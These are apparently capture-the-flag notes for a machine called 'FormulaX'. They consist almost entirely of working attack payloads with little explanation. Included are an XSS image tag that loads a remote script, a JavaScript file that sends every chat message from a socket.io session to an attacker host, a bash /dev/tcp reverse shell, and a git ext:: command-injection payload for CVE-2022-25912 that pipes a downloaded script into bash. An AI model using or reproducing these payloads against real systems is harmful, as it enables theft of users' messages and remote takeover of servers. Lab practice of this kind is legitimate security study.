FormulaX-XSS-RCE

XSS, RCE, Tunneling & Pivoting

XSS

<img src="x" onerror="var script1=document.createElement('script'); script1.src='http://<ATTACKER-IP>/formula.js'; document.body.appendChild(script1);">

formula.js

const script = document.createElement('script');
script.src = '/socket.io/socket.io.js';
document.head.appendChild(script);

script.addEventListener('load', function() {
    // Ensure axios library is loaded
    if (typeof axios !== 'undefined') {
        axios.get('/user/api/chat')
            .then(() => {
                const socket = io('/', { withCredentials: true });

                socket.on('message', (my_message) => {
                    fetch("http://<ATTACKER-IP>:80/?d=" + btoa(my_message));
                });

                socket.emit('client_message', 'history');
            })
            .catch(err => {
                console.error('Error fetching chat API:', err);
            });
    } else {
        console.error('Axios library is not loaded');
    }
});

RevShell and Payload for RCE CVE-2022-25912

/bin/sh -i >& /dev/tcp/<ATTACKER-IP>/PORT 0>&1

ext::sh -c curl% http://<ATTACKER-IP>:SVR-PORT/formula.sh|bash >&2